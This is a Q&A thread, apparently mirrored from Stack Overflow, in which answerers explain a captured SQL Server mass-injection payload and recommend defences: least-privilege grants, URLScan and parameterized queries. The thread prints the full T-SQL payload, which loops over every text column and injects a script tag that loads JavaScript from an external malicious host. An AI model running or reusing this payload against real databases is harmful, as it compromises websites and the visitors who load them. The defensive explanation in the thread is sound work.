Can someone explain this SQL injection attack to me?

时光毁灭记忆、已成空白 提交于 2019-11-28 17:25:16

Just formatting it for readability will clarify a lot:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.

It's looping through all columns in all tables and updating their value by adding a <script> tag whose source points at a malicious JS file.

The important bit is

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

I'm guessing something got omitted here and the statement probably ended with something like ('varchar', 'char', 'text') or something similar, so that it's only trying to update columns that hold text. They're hoping one of the columns hold text that's getting pulled into your website, so after they add their JS reference to it, it will be included on the source of various pages.

To fix this, you should do something similar - loop through all columns that contain text and replace the injected script with an empty string. Google will be your friend here, but here's a pretty good looking link that should be helpful setting up a script to do that.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Consider installing URLScan 3.1 to quickly protect your application from sql injection attempts, as well as working through your application to properly sanitize your sql statements.

This type of sql injection attack also usually work because your database user has permissions that are too loose, e.g. DBO rights. Look to connect to your database from your application using a database user with only the necessary rights to run your application. You can create a database user, map it to your database with public rights only than run a script like the one below to apply necessary individual rights to each object you need to.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Obviously test this against your specific application as you might have procedures that require ability to select from these sys tables.

Sudhir Bastakoti

I think its trying to insert encoded strings to all textual columns in your database. Check this ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Hope it helps in some sense

Look at changing your queries like this;

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

To something like this;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

This is just a crude example of combating SQL Injection without resorting to sanitizing input. I would still approach this differently.

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!